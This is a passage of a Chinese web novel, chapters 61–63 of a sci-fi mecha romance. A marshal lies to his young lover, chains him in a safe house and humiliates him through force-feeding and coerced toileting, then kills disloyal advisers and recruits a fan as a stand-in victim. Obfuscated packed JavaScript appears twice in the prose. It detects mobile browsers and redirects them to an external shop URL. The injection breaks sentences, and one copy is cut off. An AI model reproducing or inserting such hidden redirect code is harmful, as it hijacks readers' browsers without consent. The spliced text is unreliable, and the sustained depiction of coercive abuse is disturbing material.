他在昏迷中,又一次感到小腹涨鼓,无力挣扎间,梦境里的粉色猫崽再次嗵嗵掉落。 深埋大脑深处的恐惧感,终于冲破潜意识的阻隔,首次来到意识表面。 林诺坐在满地乱爬的猫崽中央,根本不知所措。 然而牢笼外骤然伸来一只手。那只手戴着冰冷的皮革手套,一把就掐住了猫崽的喉管。 “……” 林诺浑身一震,睁开眼睛。 第一眼看见的,是手腕上的情侣手环。 之前他发火掷到沙发上,这会儿却又好好地套在腕骨上了。 紧接着,是床头柜上眼熟的工业风泥盆。 泥盆明显是摔碎后重粘的,无数裂纹遍布盆身。 玫瑰花丛还是长在里头,栽得有些歪,花苞荼蘼地耷拉在花盆边沿。 视线从床头移向床尾。 银发男人就披着大衣,坐在卧室门旁的单人沙发上。 他一只手支着下颌,一只手翻看光脑,低垂的眉眼依然英俊深邃,姿态也依然如他们初遇时从容。 ……从容到像是跟他一身的斑斑驳驳、跟满地的狼藉全都无关似的。 林诺半撑着身体,足足看了他一分钟。 往事一幕幕从他眼前闪过。安抚幼童的银发少年,驾驶舱里的温声教导,南境风暴里的初吻,生日当晚毫无预兆的易感期,深夜的憔悴徘徊…… 但他依然不知道坐在床尾的男人是谁。 他是谁? 长着跟恺撒·卡厄西斯一模一样的脸,拥有跟联邦最伟大的机甲英雄一模一样的声线,就连发色的银白程度都分毫不差。 但林诺仔仔细细审视着他,就像审视着一个披着人皮的外星怪物,只觉得体内深处的某个地方,一层层泛出战栗来。 “看够了吗?” 恺撒又翻完一面光屏,才微微勾唇,将光脑熄灭。 他站起身,去床边给林诺倒一杯水。 第一杯水被打飞了。 银发男人毫不意外,也没去捡,重新转向净水器接水。 “多喝水加速排出。会让你好受些。” 恺撒把水端到林诺唇边。 见林诺只冷冷瞪着他,他又直起身,自己仰头饮下。 “水是干净的。” 他微笑道,拇指轻轻一抬,朝林诺亮了一下杯底,“相信了吗?” 林诺发现恺撒又变回了他们初识的样子。疏离、沉稳、成熟且进退有度,是让所有年轻学生衷心孺慕的模样,但暂时还不清楚他为什么这样做。 ……或许是恺撒也意识到他们不合适做情人,决定主动退出了。 他心底闪过最后的侥幸。 但当林诺屈起膝盖,准备跳下床戒备时。 被子里闷闷响起的锁链声,和足踝处紧缚的皮革触感。 让他刹那间如坠冰窟。 林诺猛地掀开被子。 “……这是什么意思?”他说,“恺撒?” “你一直在昏睡,我不太确定你什么时候会醒。” 恺撒说,“而我不能二十四小时留在安全屋里。安全屋外有无数瞄准你的狙击枪口,我不能让你一个人跑出去。” 男人缓慢抚触林诺冷白的足踝,确认皮圈不至于太紧,以免让血液循环不畅,也不至于太松,让黑发小猫一抽腿就能挣脱。 确认完毕,他那双浅灰色的义眼,又微微往上一抬,嗓音里还是有低缓的笑意: “你说得很对。还是黑色最适合你。” 说罢,他就稍稍往后一退,并张开双臂—— 因为林诺已经暴烈地窜起,朝他猛扑过去。 恺撒比他清醒得更早,显然已经把林诺醒来后的所有行动可能,全都在脑中过了一遍。 林诺抓着他衣领抡拳时,他就平和地闪避格挡; 林诺在卧室翻箱倒柜,试图找到任何可以割断皮圈的工具时,他就靠在门边,好整以暇地看着; 林诺被锁链拽倒时,他还会精准无误地接住对方,轻声问道:“摔疼了么?当心点。” 在过去19年的人生中,林诺极少遇到完全绝望的时刻——即便是父母在他面前去世,他后退一步,也会撞进小叔的怀抱。 然而此时此刻,他再次望向那双无机质的义眼,嗓音发抖地说: “放开我。” “我会的。” “什么时候?” “等你听完我的解释。” 林诺慢慢冷静下来。 他任由恺撒把他抱回床上,并看着男人拿来了工作光脑——当他意识到那是工作光脑时,轻微愣了一下。 恺撒一直有两个光脑,一个是手上的情侣光脑,一个是日常带在身上的工作光脑,一般不会轻易让林诺看。 恺撒坐在他身边,把他跟参谋们的会议记录打开,直白地展示给林诺。 林诺盯着他的义眼两秒,慢慢把目光移向光脑。 “……军事法庭?” 林诺发出疑问,“你……是在没有得到最高议会授权的情况下,出兵支援木星环城的吗?” “是的。”恺撒说,“是因为当时你的同学给我带信,告诉我你已经进入交战区。最高议会的处理效率有目共睹,我只能先斩后奏。” 林诺:“秘密调查局在月底对你发出提审令……但这不符合司法程序。按照联邦宪法,任何军事将领在最终受审前,都应该有至少一年的审理期。” “因为我在星陨战役时,曾跟秘密调查局结过不小的梁子。” 恺撒回答。 “当年联邦政府联合三大财团,挪用军费私自开发新矿星,但因勘探失误,导致联邦军部出现上千亿军饷空缺,远征军接近弹尽粮绝。为防丑事败露,联邦发动了针对神经鳗母星的讨伐战役,名为太阳系自卫防御,实则只为快速消耗军人数量。起初被送上前线的,是准备领取安置费的待退役老兵,紧随其后的是远太阳系的防御部队。但随着陷在前线的部队越来越多,联邦迫于地球舆论,不得不投入更多部队支援前线,其中包括我从属的联邦第一舰队,以及我率领的第一舰队机甲特种部队。我在出发前感到蹊跷,派人调查军饷空缺的事,部下却被秘密调查局灭口。出发后,第一舰队得到了错误的军事情报,因此掉入陷阱,在神经鳗母舰上全灭。冥炎则在出发前被人为动了手脚,机体外壳被熔毁时,驾驶舱的应急防护盾并未开启,导致神经鳗直接从外壳进入内舱,直接进入了我的眼睛。神经纤维装置则在机体起火时,逆向传输高强度精神力,导致我的精神力被毁。” ……林诺呆住了。 他从未想过会在这种状态下,从恺撒口中听见关于星陨战役的真相。 真相如此骇人听闻,以至于他在沉默十分钟后,才出声反驳: “你在骗我。” “杜兰德和我的警卫队,都是第一舰队机甲特种部队的幸存者,你可以向他们查证。你也可以尝试剥离他们的盔甲,会发现他们的盔甲就是维生系统,盔甲内侧是完全溃烂的皮肉,都是神经鳗的毒液导致的。” 房间内又沉寂了十分钟。 林诺微微动了一下膝盖,牵动一串锁链声响,于是他从星陨战役的震惊中清醒,又指着光脑说: “你的参谋似乎想把我送进秘密调查局,好让你在军事法庭上赢取人心。” “这就是我想向你解释的部分,林诺。” 恺撒轻轻吐了一口气,手掌抚上林诺的侧脸,“我的团队出了内奸。” “……”林诺脸上露出一丝迟疑,“内奸?” “你跟我麾下的参谋打过交道,你知道他们其中有几位相对急功近利。” 恺撒说,他的语调、语速,都跟回答前两个问题时没有任何区别, “在我日夜追查是谁曝光了你的身份时,他们仍在暗中推动我的选举事务。被送上军事法庭是一个竞选者不可抹除的巨大污点,但跟我密切相关的Beta天才亦被秘密调查局抓获,却有很大概率扭转风评。大众的眼睛是雪亮的,出兵支援的将领却被送上法庭,拯救难民的英雄反被调查局软禁,他们会知道这里面一定有问题。” “所以你意思是你的部下曝光了我的身份。好为你拉取更多选票。” “事实上,整件事起因是以太财团的一份商业计划。” 恺撒抬手,在一份全然真实的会议记录旁,放上完全由他杜撰的商业计划。 “我不明白以太财团近期推出的机甲造星计划跟你之间的关系。或许他们曾有过打算,想邀请你为他们的新型机甲代言?” 林诺没作声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388853|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的确曾听顾问说,以太集团有让他当机甲代言人的打算,当时他正是为了亲自回绝才会跟去港口。 但这件事的知情人,除他以外都或死或失踪,恺撒不经意随口提起,反倒显得颇有可信度。 “但这不意味着我想要摘除责任,林诺。” 恺撒全程紧盯少年的微表情,并在适当的时候,解开皮圈,将林诺的脚踝握进手掌里,轻柔抚按上面的红印。 “我远比你想象中更加懦弱。当知道有人利用以太对你的造势推波助澜,且偏偏是我麾下的人……我不知道该怎样面对你。我感到非常恐惧,一旦你知道我涉及其中,你一定会头也不回地离开。但我也绝对受不了隐瞒你,甚至因此情绪失控——对不起,小猫。或许在学习成为彼此恋人这件事上,你一直比我成熟太多。” 恺撒实在太擅长行骗,也因此过早开始自信。 在打翻那瓶药水前,他就已经考虑好后续全盘布局。他在“短期关系”事件时成功过,所以再来一次,也不会有多困难。 同时,他也决定调整暴风眼计划的人选。 “林诺”需要死在调查局手里,并不意味着他要真的把林诺交出去。 “你可以尽情对我发火。或者拳脚相加。” 恺撒低声说,英俊的脸庞垂下去,轻轻亲吻林诺的小腿,一双义眼却颤着抬起,自下而上凝望林诺的眼睛, “但我请求你,再给我一个机会。我比你想象中更加难以离开你——或许在比南境那场风暴更早以前,就已经如此。” 林诺目光下移,落在他的军装肩章上。 恺撒自从卸任以后,虽然还是时常披着元帅制式的军大衣,但肩章和勋章都已经被随意摘除。 这会儿却不知道为什么,三根光带一颗行星的元帅肩章,以及联邦最高英雄勋章,却又回到了那件大衣上。 一个手握百万军团的最高元帅,却在无人知晓的角落对他低头乞求,若换做从前的林诺,或许在这一刻就会心软。 但林诺全程没有作声。 他微微垂着黑眸,看着恺撒吻着他的小腿,又像一个下位者一样,低低地说着软话。 握住他脚踝的皮革手套,却一直在强势地向上摩挲。 或许林诺的沉默,看上去很像胜利的号角。 当恺撒的指尖来到少年的侧脸时,他依然故技重施,将两人拉近到呼吸相触的距离。 “你还记得从前我到中央军校公开指导的事么?那时你趴在窗户上看我。脸颊的这里和这里,都抹着三道油彩,非常非常可爱。” 恺撒低低地说。 说起这些往事时,他的神态和嗓音又不似刚刚沉稳了。 有一丝笑意,有一点惘然,声音也比平时更轻,像是林诺为他修好收音机的时候。 “看着我,林诺。就像以前一样……不要再移开目光。” 但林诺并没有抬眼。 浓墨似的眼睫垂着,把那枚漂亮的小红痣也遮住。 恺撒等了一会儿,耐不住地抬起林诺下颌,微微侧过头,就想试着吻他。 “好。那么把小叔从十三舰队驻扎地转移出来。” 唇肉即将接触时,林诺平静地说。 “让我跟他会合。我就假定你刚刚说的一切都是真的。” 恺撒动作一滞。 “我不能。” “为什么?”林诺说,“因为会失去最后一名可以控制我的人质?” “因为林先生的伤势不宜频繁转移——你在试图激怒我,小猫。” “你很容易被激怒?在我最崇拜你时可看不出来。你被激怒后,是不是又要用手帕迷倒我,然后把我按在这里……上几天几夜,最后再问我要不要怀你的孩子?如果我在向你表白前就知道会有这样一天,恺撒,你猜我还会不会做出那个决定?” 恺撒缓慢直起身。 他退回床边站着时,余光处有床头柜上的玫瑰花。 玫瑰还是艳丽地盛开着,但被重新修复的泥盆,盆身遍布裂痕,即便勉强重组成原先的形状,也永远不会是从前完好无损的模样。 少顷,他兀自低下头,很轻地笑了一声。 男人刚刚一只手抚着林诺的脸恳求,另一只手里,却始终拿着镣铐没放。 随着“喀嚓”一声,刚被摘下的皮圈镣铐,又一次扣在了林诺的足踝上。 “……你……!” 林诺措手不及,扑过去就要掰开锁扣。 但银发男人径直抓住他的双腕,提过头顶,让他眼睁睁看着机械锁扣发出一阵“喀喀喀”声,最终完全在他足踝处收紧。 “从前你不是这样爱伤人的坏孩子。” 恺撒微微叹息,并合上眸子,在林诺奋力挣扎的掌心根部,留下一个温柔的吻。 “也许一些小小的惩戒,会比争吵更加奏效。过几天我就要去上军事法庭,希望在此之前,我们可以就以后的关系达成共识。” 62.第 62 章 …… “早上好,小猫。” 恺撒靠在枕边,微笑着跟他打招呼。 他的一只手撑着下颌,另一只手却探进被子,轻轻揉着林诺的小腹。 “这里还好吗?” 林诺猛地把他的手打开。 “啪”地一声脆响,带动不小的锁链动静。 恺撒被他打了手,也并不生气。而是轻轻吮住林诺耳尖。 “我知道你气在头上。但是不是有更要紧的事该解决?” 蛊惑的低沉嗓音,如魔鬼般灌进林诺的耳洞。 “……毕竟小猫已经19岁。无论如何,也不是能尿床的年纪了,嗯?” “……” 林诺攥紧拳头,几近咬碎牙根。 发现对方是动真格要锁他的时候,他就想过绝食。 但绝食的时间越长,他就越虚弱。 几番天昏地暗的较量下来,他又一次被恺撒压制在墙边。 男人一手捏住他的鼻尖,一手捏开他的口唇,然后将当天份的营养剂全部灌入。 “锁链的长度,可能没办法支撑你走到排泄舱。” 恺撒低声提醒。 “任何时候你需要我,我都愿意效劳。我只是需要……” 他钳制着对方气得发抖的身体,却在闻到最喜欢的淡淡皂香味时,有一瞬的恍惚。 恺撒把头更深地埋下去,一边深深嗅闻,一边用很轻的声音说: “……我只需要一个拥抱。就像你曾经在宙斯要塞对我做过的一样……好吗?一个拥抱就可以了。只要小猫还肯像以前一样抱我……我就立刻把它解开。” 林诺的脾气注定不会让他轻易得逞。 但人体的新陈代谢,无法受脾气控制,恺撒给他喂了很多次营养剂,一夜过去后,林诺就到了忍耐极限。 “我该出门工作了。”恺撒温和道,“要不要再想想?” 他再次朝黑发小猫的腹部摸去,想大致感知一下林诺还能忍多久。 手才刚碰到肚子,手臂就险些被一口咬穿。 于是恺撒狠下心,起身出门。 安全屋是新建的,一时忘了装监控,因此他在会议中频频走神。 他调出光脑看看,安全屋里的熟食机器人倒是启动了两次,但没有饭菜被拿走的提示。 银发男人微微叹气,把面前的法庭条令一推。 “先散会吧。” 他以最快速度赶回安全屋。 一开门,就见林诺拖着一条被锁住的腿,痛苦地蜷缩在走廊上。 走廊尽头就是排泄舱,但锁链的长度,让他无论如何也到不了目的地。 林诺用前额紧紧顶着地板,黑发凌乱地散落着。 恺撒走近两步,看见林诺的裤子还很干净。 但包裹在睡衣下的肩胛和后背,都在因煎熬颤抖不已。 恺撒唇角的笑意消失了。 他面无表情地走进卧室,把锁链的另一端取下,铐在自己手臂上。 紧接着,他又回到走廊,俯身下来抱人。 “……别碰我。” 林诺恨得眼角通红,像受伤的猫科动物般厉声嘶吼:“别碰我!” 然而成年Alpha表情晦暗,完全不在意他发抖的拳脚。 恺撒的手避开微鼓的腰腹,改为握住少年的膝弯,单手骤然用力一提,就让林诺整个仰倒在他臂弯里。 “即便如此,你也不愿意给我一个拥抱。” 银发男人低声说,“对吗?” 他一手握着锁链,一手抱着人,用军靴去开排泄舱的门。 林诺忍得双腿发抖,还在疯狂咒骂挣扎。 然而他的双腕,猛地被锁链缠绕三圈,一下从头顶拉到后背。 Alpha坚硬强壮的身躯堵在他身后,逼迫他只能面朝便池,岔开腿站直。 冰冷的皮革触上他的裤腰,随后缓缓往下拉去。 “……不。别这样对我……!” 林诺挣不动他,连声线都变了。 从喉咙深处,挤出一丝近似绝望的泣音。 “……别这样羞辱我,恺撒……” “这不是羞辱。我不是说过吗?在我面前,小猫是不需要有羞耻心的。” 但恺撒无动于衷。 他贴着少年的耳根,唇畔滚出低语, “好孩子,把自己完全交给我就可以了,从身体到灵魂都是……就在我手里出吧,没事的,嘘……” 片刻后,踩在他军靴上的冷白赤足,在一个剧颤后绷紧。 舱内响起淅淅沥沥的水声。 这件事一下抽走了林诺的脊梁。 当恺撒把林诺放进浴缸,心情很好地替他洗澡时,他也只是低头坐在水流下,一动也不动。 “你最喜欢用的香皂,好像快要停产了。我费了点功夫,才拿到最后一个批次。” 恺撒愉快地说,还嗅了嗅手里的平价香皂,发现那上面只有很廉价的香精味,跟他喜欢闻的小猫味并不太像。 但他没有特别在意。还是细致地打出泡沫,把林诺洗得香喷喷。 等恺撒再给林诺喂营养剂时,林诺也没再像昨天那样反抗。 淡粉色的薄唇叼住装营养剂的玻璃管,恺撒一边扶着他的后颈,一边慢慢把玻璃管抬高,好让营养剂能顺利流进林诺嘴里。 林诺在椅子上仰着头,黑发从额前散落,漂亮的喉结微微滚动,把营养剂一点点咽下去。 “这就对了……好乖。林诺是最乖的小猫……” 林诺的温顺,无疑深深填补了恺撒心中恐慌的黑洞。 他发现,只有当林诺像在庄园里养病时一样,身心无法独立、不得不依存他生活时,他才能在这段关系里获得安全感。 按理来说,像他这样的人,只适合豢养还未养成自我意识的Omega。 然而对他而言,弱者即是鱼肉,只有像林诺这样灵魂坚韧的天才,才会被他承认是自己的同类。 只要悖论一直存在,他对林诺的驯服就永远无法停止。 “小猫如果永远这样乖就好了。就这样依赖我,顺从我,永远不要从我身边离开……” 恺撒嗓音低低的,用拇指擦拭着林诺的唇角。 林诺冷淡倔强的眼角,又反倒像兴奋剂一样刺激了他。 尽管知道很大概率会被咬,恺撒还是难以抑制地低头,叹息着去吻他。 “其实仔细想想,本来就不该让外界的风波影响我们的关系。我们还是可以像从前一样相爱,往后300天,400天,500天纪念日……都在一起。对了。我想给你补上200天纪念日的礼物……要看看吗?” 恺撒转身回到客厅,从沙发上拿来他的纪念日礼物——他刚刚进门时太心急,把礼物一抛就先来找林诺了。 是个非常昂贵的真空透明收藏盒,里面是一对样式古朴的机甲操纵杆。 于外行人来说,或许就只是两根锈迹斑斑的金属棍子,但恺撒知道像林诺这样的重度机甲迷,一眼就能认出它们来自“蚀心者V7000”—— 虫族战争末期最知名的英雄机甲,传闻还曾跟德尔斐圣子并肩作战过。 “从你第一次住进庄园时,我就一直在派人找它。我觉得你一定会喜欢的。” 恺撒温声细语地跟他说, “但这种级别的收藏品,已经不能用财力收取,所以就算找到了下落,我也一直没法收回来送给你。这两天我又去找持有它的财团谈了谈,让渡了一点条件,这才换回来的。” 他把收藏盒小心放在林诺腿上,但抬眸发现林诺表情木然,就故意放歪一些,让这对价值两颗资源行星、一支远征舰队的操纵杆,慢慢在林诺膝上滑落。 当它即将摔碎在地板上时,林诺猛地伸出手,把盒子扶住。 恺撒微微勾起唇。 即便黑发小猫成长飞快,但总归是19岁的小孩。只要是小孩,他就有把握能继续诱哄。 “等你回到我们的庄园,就把它放到你的地下宝库里去。好不好?” 当天晚上,恺撒甚至推了所有的重要会议,倚在床头,给林诺低声念书。 “我都已经安排好了。军事法庭开始前,我会先把你送回木星环城。地球马上会迎来史无前例的动荡期,把你放在木星环城,我才能更安心地工作。” 他没提林成彬要怎样安排,但最让他满足的一点是,林诺也没再向他问起。 于是恺撒合上书本,从林诺的脖颈辗转吻到小腿,并一边细细观察林诺的表情,一边“喀嚓”一声,将镣铐解开。 林诺还是静静靠在那。 没有像他想象中那样跳起来反击。 见状,恺撒才低下头,专注地揉足踝上的红印。揉着揉着,他还是低声倾诉: “……你知道Alpha在易感期时会乱说胡话的,对吗?那句生孩子的话更是。你是男性Beta,本来就不会怀孕,我想我们都知道这点。你还是在为了一句胡话生气吗?但就算再生气,你也不该说那句后悔向我表白的话。你知道我唯一能用来留住你的,就只有你对我的爱了。可连那爱也是……” ……也是他骗来的。 恺撒骤然止住话头。 他发现他有时会在林诺面前过度放松,导致说出一些不该说的话。 对于像他这样的人来说,这无疑是一种极危险的信号。 于是银发男人没再继续这个话题。而是丝滑地戴上面具,露出颇含表演成分的脆弱。 “好好睡一觉吧。我什么都不会做的。” 揉到淤红散尽,他俯身熄去床头灯,轻轻把林诺拢回臂弯里。 “闹了好几天,小猫也累坏了……还是想生气的话,明天起床再气,嗯?” 银发男人还是像从前一样,抱着林诺微微晃,轻声细语地在耳边哄睡。 但他这段日子也不清闲,白天在给林诺物色替死鬼Beta,晚上就在专心驯服林诺,实际睡眠时长并没多少。 哄着哄着,他自己倒先合上眼眸,毫无防备地沉进梦里去。 梦里是绿树成荫的庄园步道。少年的耳朵红扑扑的,但还是努力绷着酷脸,一段路八百个假动作地跑过来。 但恺撒不知道的是。 全息时钟走到凌晨四点时,林诺缓缓抬手,触上了床头的玫瑰泥盆。 ……他衷心崇拜的英雄、导师,始终孺慕的年长恋人。 就这样没有征兆地烂掉了。 从前无微不至的关怀,体贴的教导,成为恋人后数不清的甜蜜回忆。 在恺撒强制锁上脚铐的那一瞬,轰然化为齑粉。 最恐怖的地方是,林诺发现他无论如何反抗、挣扎、咒骂,如何绝望地告诉恺撒他不愿意,对方都认为这是“小小惩戒”中的一环。 他的痛苦和煎熬,如同迎头撞上了一堵铁墙,没有溅起丝毫涟漪,也没有得到任何有同理心的回应。 这已经不再是恶意或情丨趣就能概括的级别了。这意味着,他跟恺撒对于人格尊严、屈辱、自由等概念的认知,从根本上就是不一样的。 恺撒睡得很沉。这一点几乎跟从前判若两人。 至少在林诺自愿守着他入睡前,怀中但凡有一点动静,恺撒都会瞬间起手摸枪。 然而林诺缓慢从他臂弯里抽身,又慢慢朝他举起泥盆时,银发男人依旧安静睡着。 布满灼痕的手掌,紧握着少年的腰,像强势的掌控,又像焦灼的触摸。 有一种闷痛,开始在林诺胸腔蔓延。 恺撒入睡时的脸,无端跟他守着自己治疗ptsd时重合。林诺对准他的头部举起泥盆,自己的手却无法抑制地颤抖。 他对面前这个人真正交付过真心,也曾一笔一划设想过他们的未来,就算满腔怒意在心中翻涌,可身体却无论如何,也做不到像对星盗那样痛下狠手。 也许恺撒说的一些话是真的。也许他们之间的爱也并没有作假。也许他第一回交出的真心,没有错付于人。 也许他还是林诺崇拜的那个人,只是因为被联邦迫害至此,才会在巨大的英雄光环下,陡然撕开人格缺陷的裂缝。 也许…… 一个很微弱的声音,在烛火般摇曳的爱意中挣扎。 再给他们彼此一次机会,恺撒是可以改的。 林诺缓慢绷紧下颌。 但他日益坚韧的理智,却在此时上线。它拨开所有情感因素,迫使林诺冷静思考他当下的处境。 砸下去——之后呢? 屋外就是密密麻麻的驻扎部队,他在地球孤立无援,而小叔仍在恺撒手中。 恺撒在军政两界的话语权已经无人能敌,只要他一天无法离开太阳系,就一天不能脱离恺撒的势力范围。 而只要他胆敢靠近任何一个星球的港口,都会立刻被恺撒的部队截停。 是否寻求联邦政府和秘密调查局的庇护? 这一条也被林诺否决了。 他对恺撒说的星陨战役相关仍然存疑,但木星环城战役后的种种,也让他无法对当前的联邦政府抱有信任。 他与恺撒之间巨大的地位差距,在热恋时是他追逐上进的动力,然而当恺撒的控制欲如黑洞般吞噬他,却成了最可怕的桎梏。 林诺一整晚都没有合眼。 他盯着灰暗的天花板,大脑一刻不停,飞转到天亮。 19岁的林诺并未意识到。 他对恺撒此生最后一次心软,即将在不久远的将来,让他付出惨痛的代价。 *** 隔日,恺撒亲自送他返回木星环城。他们戴着全息易容装置,顺利从港口登上飞艇。 想到把林诺送回庄园后,接下来又是一段时间不短的分离,银发男人避开麾下的士官,低声下气地跟他说: “我每晚都会跟你通讯。要记得接,好吗?如果听不到你的声音,我会非常担心的。” 他说着说着,眉间闪过一丝黯淡,低头为林诺整理衣领。 林诺如今穿在身上的衣物,里里外外全都由他定制,他比任何人都要熟悉林诺的身材,因此每件衣服穿到林诺身上,都能衬得少年盘靓条顺,站在那就像个闪闪发光的大明星。 至于林诺藏在衣柜深处、想要留作纪念的旧作训服,则被他扔得干干净净—— 反正“暴风眼”计划后,林诺也不会再有穿上军校作训服的一天。 林诺任由他系紧衣扣,一言不发。 那张俊美的脸,比从前冷淡了许多,倒显得更有攻击性。 恺撒一边给他整理衣服,一边抬眼看他。 看着看着,手掌下滑至林诺的腰侧,还是忍不住想在临别前,听一些小猫特供的甜言蜜语: “你会想我的,对吗。会乖乖呆在庄园里,每天都等着我回家……再说一次爱我吧。我接下来回到地球,可有一场很危险的硬仗要打呢。” 林诺眼睫掀起,露出漆黑的眼仁,和眼底漂亮的红痣。 但他不说话,也不笑,只是抬着黑眸,静静凝视对方。 “……还是在生气。” 恺撒微微一哂,眉眼间流露出无奈来,“一生气,就变成不搭理人的酷小孩了。好吧,我会带礼物给你的。” 他牵着林诺的手,一路送进庄园别墅中。确定林诺回到房间,这才独自出门,返回飞艇。 男人慢慢敛起所有柔和表情,朝庄园的控制系统发送几道指令。 比从前更高大、更不可能凭单人翻越的庄园大门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杜兰德是恺撒身边最忠诚的警卫队队长,他的这番举动,无疑显露出一个危险至极的信号。 有些脑子灵光的参谋,已经噤若寒蝉,低眉顺眼地坐了下去。 唯独痛斥恺撒的参谋,语调越发高亢,还在口沫横飞: “……我早已警告过您,那个Beta孩子看似单纯,实际就是心机深沉、沽名钓誉之徒!否则他为什么知道在木星环城救援中作秀?又为什么能诱导您为他反复修改计划!元帅,您是昏了头了!你会把我们辛辛苦苦攒下的基业——” “‘我们’的基业?”恺撒轻声重复。 他依然面带微笑,倾身从桌边站起。随着他起身,厅内四面墙边的警卫队队员,也跟着同时站起。 盔甲部件碰撞摩擦,盔甲内沉重嘶哑的呼吸声,也在空间里清晰可闻。 “‘我们’的基业?”银发男人又重复了一遍。他闲庭阔步,缓步走到那名参谋身后—— 后者已经发觉事态不对劲,本想一屁股坐下,手肘却被一把握住。 “您的确老得昏了头了,克劳迪特先生。” 恺撒轻声在他耳边说, “是因为调查局给您开出的价码足够满意,所以您才致力于在每一次会议中顶撞我,好让我在我的同僚面前显得昏庸无耻?” “……元帅,这是彻头彻尾的诽谤,请您不要偏听偏信……” “您明明知道更换目标人选其实无伤大雅,就像您也曾目睹我亲手将木星环城事件转为优势一样。但为什么您永远在愤怒、在挑拨我的部下——在质疑我?” 恺撒低沉地说。他英俊得无可挑剔的面容上,缓慢流露出阴沉的暴戾来。 “‘我们’的基业……是我的基业,老头。这个太阳系、这片宙域,终将独属于我。时至今日,你还在抱有共和共治的幻想么?” 他松开对方的手肘,退后两步。 当参谋满头大汗、颤颤巍巍地坐下时,他的后脑,却恰好进入杜兰德的射程范围。 秘密调查局的特工破门而入时,险些被浓重的血腥味呛了个倒仰。 为首特工立即去检查线人的状况,发现对方的头部已被光束洞穿。 “真是阴狠的家伙……” 特工翻看着桌旁其他尸体,“不光处决了我们的眼线,还把我们没来得及接触的渗透目标全都杀了……” 他翻检尸体时,才骇然发现,光束边缘的灼痕微微发紫。 只有秘密调查局专用的制裁枪,才会产生这样的伤痕。 “……该死!是陷阱!” 当星网记者和得到音讯的暴民,里三层外三层包围秘密议事处时。 恺撒正坐在悬浮车内,缓慢擦拭皮革手套上的血。 “跟我讲讲那个用来替代林诺的孩子。” 他温和地说,又全然不是方才在议事处里狠戾的模样了,“为什么认为他最合适?” 副驾驶上的新参谋说:“他的体型、身高、对机甲的兴趣,会更方便成为林诺的替身。而且他曾给林诺写过很多封信,我们判断他对林诺的憧憬,是足以被我们利用的。” “很多吗?”恺撒仍在微笑,只是眼角轻微跳了一下,“都写过些什么?我看看。” 副官在驾驶座上开车,一时没有回应。外界寄给林诺的信件和礼物,都是他负责代收的,当恺撒的另一队参谋前来向他索要,他也全都和盘托出。 但当时当下,他抓着方向盘,眉眼间却流露出挣扎来。 “丹特上校,你要是再这样,我又要把你丢回去扫军营厕所了。”恺撒说,“从前你在第一舰队服役时,可比现在要杀伐果断得多。” “那实在不行你就让我给小朋友当保姆吧。”副官无奈地说,“我从前就是带兵打仗的,只管杀外星强敌,实在玩不来这些。” 恺撒接收信件文档,一边翻看,一边随意回答:“不可能,他的交流对象只能是我。而且你从前曾建议过,让他跟我手下的士官匹配。难保你不会再动那样的心思——或者你自己亲身上阵。因为那孩子就是很讨人喜欢。” 副官:“……” 他满腔脏话就要冲到嘴边,但多年来对恺撒的了解,又让他及时闭紧嘴巴。 经验证明,恺撒的疑心病是久治不愈的绝症了,他发病的时候最好别去主动招惹。 否则他也会像那个议事处里的部分参谋一样,“被”登上秘密调查局的渗透名单。 [你认为我们可以信任恺撒元帅吗?诺神?] 恺撒翻看这些信件时,偶然看到了自己名字。 [作为一个Beta,我只信任你的判断。只要你觉得元帅是真心想要帮助我们,我们一定就会全心全意追随他。] 林诺的回信:[是的,我非常信任他。因为他无私地帮助我实现理想,并在学业上提供巨大的帮助……但无论何时,最好还是保有自己的个人判断。] 幸运的是,这个Beta跟林诺之间,只是狂热迷弟和锯嘴明星的关系,再无其他。 他给林诺写过很多信,大多是在分享自己的日常军校生活,以及问一些机甲操作的难点。 而林诺回的字数较少,但每封都回得很认真,偶尔还会互相分享一些机甲实操资料。 之后这个Beta迷弟还给林诺寄了很多信。 但因为当时林诺已经在木星环城战役中负伤,所以这些信都堆在副官那里,没来得及被林诺拆封。 其中一封是这样写的: [……感谢你的答复,因为我们家还在犹豫该支持恺撒元帅还是李维议员,既然你认为恺撒元帅值得信任,我就一定会无条件支持他的每一个选择。真希望你的学业顺利,早点成为联邦第一个Beta首席机甲师。因为这样一来,我也能大胆地跟教官提出转系,未来也像你一样,勇敢走上机甲师的道路……] 恺撒把这封信看了两遍,唇边笑意加深。 车窗外的赛博霓虹灯落入车内,在他脸上投下极其冷酷的蓝色光影。 “我知道了。”他轻声笑道,“带我去见他吧。” 63.第 63 章 “……奶奶,我知道你在喂鸡,可是我好紧张好激动,再不倾诉就要爆炸啦!但我又不能告诉你我接下来要做什么,不然我就帮不上诺神了……估计你又要说不记得是谁,就是一直在跟我通信的偶像诺神!就是那个在机甲联赛挑翻所有Alpha、还在木星环城战役中救了好多人的诺神!好我不跟你说了、我不跟你说了……” 农场里的家用通讯器,发出“咔哒”一声低响。 将亚历山大·瑞安生前最后一段通讯,录制完毕。 “我真的可以吗?我能做好吗?我真的可以帮到诺神吗?只要我按照你们说的那样,戴上全息装置参加这些游行活动,那之后我可以……可以跟诺神见一面吗。啊不行的话也没关系!我知道诺神是比较内向腼腆的……” 19岁的Beta提起偶像,终于面露羞赧。 悬浮车高速向前行驶,巨大的霓虹灯牌被车速拉成光栅,窗外高频闪烁的红光,逐渐笼罩Beta全脸全身。 而无论瑞安在后排兴奋地说了什么,前排的参谋,都只会用仿生人般单一的语调回复他: “当然可以。” 联邦历2949年,第三行星联邦地球总部爆发了自成立以来,规模最大、波及范围最广的抗议游行。 由年轻的高校学生开始,向当今联邦政府喊出重组最高议会、还政于民的口号,而紧随其后的,就是穷困潦倒的失业者和无产者。 随着财阀无下限地垄断扩张,失业者已经占据全联邦人口的45%。 